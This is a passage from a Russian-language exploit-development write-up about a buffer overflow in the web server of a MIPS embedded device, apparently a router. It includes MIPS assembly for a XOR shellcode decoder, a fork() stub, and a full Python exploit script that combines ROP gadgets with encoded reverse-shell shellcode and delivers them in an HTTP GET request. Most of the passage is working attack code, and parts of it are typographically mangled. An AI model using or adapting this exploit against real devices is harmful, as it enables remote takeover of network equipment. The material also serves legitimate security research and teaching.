Если посмотреть на расшифрованный шелл-код, сгенерированный при помощи модуля msfpayload, то видно только два плохих символа:


Рисунок 17: Расшифрованный шелл-код

Таким образом, мы можем добавить еще код, который специально декодирует эти два символа во время запуска шелл-кода.

Для того чтобы быстро написать шелл-код под архитектуру MIPS, я использовал MIPS-ассемблер и динамический симулятор (runtime simulator). Этот метод мне понравился больше, чем компиляция ассемблерного кода и отладка в gdb.

В целях написания простого XOR-кодировщика рассмотрим следующие инструкции:

Для того чтобы лучше разобраться с ассемблером для архитектуры MIPS и как работает кодировщик, напишем простой кодировщик для кодирования 4 байт информации. Код, показанный ниже, выполняет операцию XOR между значением по адресу $sp + 4 и числом 9999:

#Loads value 9999 into register $s1
li $s1, 9999
#Copy Stack Pointer Address into register $s2
la $s2, 0($sp)
#Takes value 4 bytes after the register $s2 address and copy it into register $t2
lw $t2, 4($s2)
#XOR both values from register $t2 & $s1 and stored it into register $v1
xor $v1, $t2, $s1
#Store XORED value from $v1 into address location at 4 bytes after register $s2
sw $v1, 4($s2)

Однако на скриншоте ниже видно, что если мы скомпилируем кодировщик в базовую форму, появляются пустые байты и плохие символы:


Рисунок 18: Ассемблированная версия кодировщика с дополнительными символами

Таким образом, нам нужно модифицировать инструкции шелл-кода так, чтобы в скомпилированной версии не было плохих символов. Код ниже декодирует два плохих байта в нашем шелл-коде:

# Load decimal value 99999999 into register $s2
li $s1, 2576980377
# Copy Stack Pointer Address + 1000 bytes into register $s2
la $s2, 1000($sp)
# Adjust Register $s2 (address location) by --‐244
addi $s2, $s2, --‐244
# Get value located at register $s2 – 500 bytes and store into register $t2
lw $t2, --‐500($s2)
# XOR value stored at $t2 and $s1 and store it into register $v1
xor $v1, $t2, $s1
# Replace value back to stack ($s2 – 500) with new XORed value ($v1).
sw $v1, --‐500($s2)
# Move Register by --‐8 bytes to new value to be XORed
addi $s2, $s2, --‐8
# Get value located at register $s2 – 500 bytes and store into register $t2
lw $t2, --‐500($s2)
# XOR value stored at $t2 and $s1 and store it into register $v1
xor $v1, $t2, $s1
# Replace value back to stack ($s2 – 500) with new XORed value ($v1).
sw $v1, --‐500($s2)

8. Создание эксплоита – Системный вызов fork()

После успешного запуска закодированной полезной нагрузки я обнаружил, что командная строка появляется и тут же умирает. Я предположил, что некоторый процесс, запущенный на устройстве и отвечающий за мониторинг, перезапускает http сервер в случае, если тот перестает подавать признаки жизни. Чтобы предотвратить отключение шелла, в начало шелл-кода я добавил системный вызов fork(). Код ниже отвечает за вызов системной функции fork():

__start:
# Register $s1 = --‐1
li $s1, --‐1
# Start loop here with name ‘loc’
loc:
# Load Register $a0 with value 9999
li $a0, 9999
# Load Register $v0 with value 4166, which is setting syscall as nanosleep
li $v0, 4166
# Execute syscall
syscall 0x40404
# Branch back to loc if $s1 is more than 0
bgtz $s1, loc
# Load Register $s1 with value 4141
li $s1, 4141
# Load Register $v0 with value 4002, which is setting syscall as fork
li $v0, 4002
# Execute syscall
syscall 0x40404
# Jump back to sleep if, this is in parent process
bgtz $v0, loc

После добавления системного вызова fork в начало шелл-кода реверсивный шелл начал работать стабильно.


Рисунок 19: Успешное выполнение команды в реверсивном шелле

Итоговый код эксплоита:

import socket
import sys
import struct
import urlparse
import re
import os
host = '192.168.1.1'
#create an INET, STREAMing socket
s = socket.socket(
socket.AF_INET, socket.SOCK_STREAM)
#now connect to the web server on port 80
# --‐ the normal http port
nop = "\x27\x70\xc0\x01"
buf = "A"
buf += nop * 1279
#Setup ROP Gadgets Part #1
s0 = nop
### Sleep function Address ###
s1 = "\x2b\x2a\x8f\xd0"
##############################
s2 = nop
### 2nd ROP Gadget ###
s3 = "\x2b\x27\x39\x5c"
######################
s4 = nop
s5 = nop
s6 = nop
s7 = nop
### 1st ROP Gadget ###
ra = "\x2b\x2a\xa1\xc8"
######################
#ROP Gadgets Part #2 + shellcode
shellcode = nop * 6
### 3rd ROP Gadget ###
# 2nd ROP Gadget will add this as the new $ra
ra2 = "\x2b\x2a\x0e\xb8"
######################
s0_2 = nop
### 4th ROP Gadget ####
# 2nd ROP Gadget will add this as the new $s1
s1_2 = "\x2b\x27\x88\xc0"
#######################
s2_2 = nop
shellcode += s0_2
shellcode += s1_2
shellcode += s2_2
shellcode += ra2
shellcode += nop * 6
sc_encode=("\x3c\x11\x99\x99\x36\x31\x99\x99\x27\xb2\x03\xe8\x22\x52\xff\x0c\x8e\
x4a\xfe\x0c\x01\x51\x18\x26\xae\x43\xfe\x0c\x22\x52\xff\xf8\x8e\x4a\xfe\x0c\x01\x
51\x18\x26\xae\x43\xfe\x0c\x22\x52\xff\x90\x8e\x4a\xfe\x0c\x01\x51\x18\x26\xae\x4
3\xfe\x0c")
#bad character: \x1E\x20\xFF\xFC XOR 99999999 = 87b96665
sc_fork1=("\x24\x11\xFF\xFF\x24\x04\x27\x0F\x24\x02\x10\x46\x01\x01\x01\x0C")
sc_fork_bad=("\x87\xb9\x66\x65")
sc_fork2=("\x24\x11\x10\x2D\x24\x02\x0F\xA2\x01\x01\x01\x0C\x1C\x40\xFF\xF8")
sc_first=("\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff"
"\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2"
"\xff\xff\x8f\xa4\xff\xff\x34\x0f\xff\xfd\x01\xe0\x78\x27\xaf"
"\xaf\xff\xe0\x3c\x0e")
#Port No.
sc_first+=("\x30\x3B")
sc_first+=("\x35\xce\x7a\x69\xaf\xae\xff\xe4"
"\x3c\x0e\xc0\xa8\x35\xce\x01")
#Modify this to change ip address 192.168.1.x
sc_first+="\x04"
sc_first+=("\xaf\xae\xff\xe6\x27\xa5\xff"
"\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x01"
"\x01\x0c\x24\x11\xff\xfd")
# at position: (15*6 + 6) /4 = 24
#Original Bytes: "\x02\x20\x88\x27"
sc_bad1=("\x9b\xb9\x11\xbe")
sc_mid=("\x8f\xa4\xff\xff")
#bad character at pos: 24 + 2
#Original Bytes: "\x02\x20\x28\x21"
sc_bad2=("\x9b\xb9\xb1\xb8")
sc_last=(
"\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff"
"\x22\x31\xff\xff\x16\x30\xff\xfa\x28\x06\xff\xff\x3c\x0f\x2f"
"\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce"
"\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf"
"\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab"
"\x01\x01\x01\x0c")
sc = sc_encode
sc += sc_fork1
sc += sc_fork_bad
sc += sc_fork2
sc += sc_first
sc += sc_bad1
sc += sc_mid
sc += sc_bad2
sc += sc_last
#"\xfc\x5a \xf8\xb9")
shellcode += nop * 8
shellcode += sc
print len(sc)
shellcode += nop * ((1852 --‐ 24 --‐ 8 --‐ 8 --‐ 18 --‐ len(sc))/4)
s.connect((host, 80))
s.send("GET /.html")
s.send(buf)
s.send(s0)
s.send(s1)
s.send(s2)
s.send(s3)
s.send(s4)
s.send(s5)
s.send(s6)
s.send(s7)
s.send(ra)
s.send(shellcode)
s.send(".html HTTP/1.1%s" % '\n')
s.send("Host: 192.168.1.1%s" % '\n')
s.send("User--‐Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:35.0)
Gecko/20100101 Firefox/35.0%s" % '\n')
s.send("Accept: */*%s" % '\n')
s.send("Accept--‐Language: en--‐US,en;q=0.5%s" % '\n')
s.send("Accept--‐Encoding: gzip, deflate%s" % '\n')
s.send("Referer: http://132.147.82.80/%s " % '\n')
s.send("Authorization: Basic <Encoded password>%s" % '\n')
s.send("Connection: keep--‐alive%s" % '\n')
print "Sent!"
data = (s.recv(1000000))
print "Received :"
print data